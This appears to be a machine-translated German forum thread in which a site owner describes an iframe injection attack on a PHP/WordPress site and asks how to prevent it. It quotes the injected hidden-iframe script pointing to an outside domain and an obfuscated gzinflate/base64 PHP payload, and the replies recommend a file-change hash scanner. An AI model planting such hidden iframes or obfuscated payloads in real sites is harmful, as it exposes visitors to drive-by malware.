In den letzten Tagen war meine Website wiederholt Ziel eines Iframe-Angriffs. Der Code wird hauptsächlich an PHP- und Javascript-Seiten angehängt. Der Code ist dann 64 PHP Basis codiert, siehe Beispiel (ich habe den Code leicht geändert, es zu neutralisieren):Website iframe attack - fügt Code in die Quelle ein
<script type="text/javascript">
document.write(
'<iframe src="http://opticmoxie.com/xxxxxxx.php"
name="Twitter" scrolling="auto" frameborder="no"
align="center" height="2" width="2"></iframe>'
);
The:
#c3284d#
echo(gzinflate(base64_decode("aJ1yhA3pkW4cWnUnmFluNmeq66wqE0OmVRcMUP3WQAupFZFGgaJvSE7IZH67z5S8 VwMxbWwg/TRkFvtPyCw9AGGzqRm8Qi/1LV6+9MdTtf9rtXb8e4L")));
#/c3284d#
Diese entschlüsselten etwa wie folgt aussieht Eine Sache ist gemeinsam, dass der gesamte Code den Kommentar "# c3284d #" enthält, damit das Aufspüren von bösartigem Code nicht schwierig ist. Aber es ist zeitaufwendig ...
Wir sind auf einem gemeinsamen Server in Gradwell (UK) und sie waren nicht besonders hilfreich. Die Frage ist also, was kann ich tun, um dieses Problem von sich selbst zu wiederholen? Ich kenne MySQL-Injection-Angriffe und verwende PHPs mysql_real_escape_string, um solche Angriffe zu verhindern.
Die Seite ist PHP und MySQL-Laufwerk. Wir verwenden MySQLFTP und haben einen Shell-Account für den SSH-Zugriff. Wir verwenden Wordpress (das neueste Update mit deaktivierten Plugins).
Es gibt eine Menge von PHP-Lore, die über diese Art von Frage existiert, und ich ermutige Sie, danach zu suchen.Jedoch ist die Querdenker-Antwort auf diese Frage "[Verwenden Sie etwas anderes als PHP.] (http://me.veekun.com/blog/2012/04/09/php-a-fractal-of-bad-design/)" PHP ist anfälliger für Sicherheitsprobleme als andere Sprachen –
Eine alte Frage, aber es lohnt sich, diesen Punkt zu erwähnen: Holen Sie sich einen Hash-Scanner und installieren Sie ihn in Ihrem Konto, es gibt eine ganze Menge in PHP, von dem ich kann sagen. Diese verwenden cron, um zu prüfen, welche Dateien neu sind oder sich geändert haben, und können Ihnen eine E-Mail senden, wenn verdächtige Änderungen gefunden werden. – halfer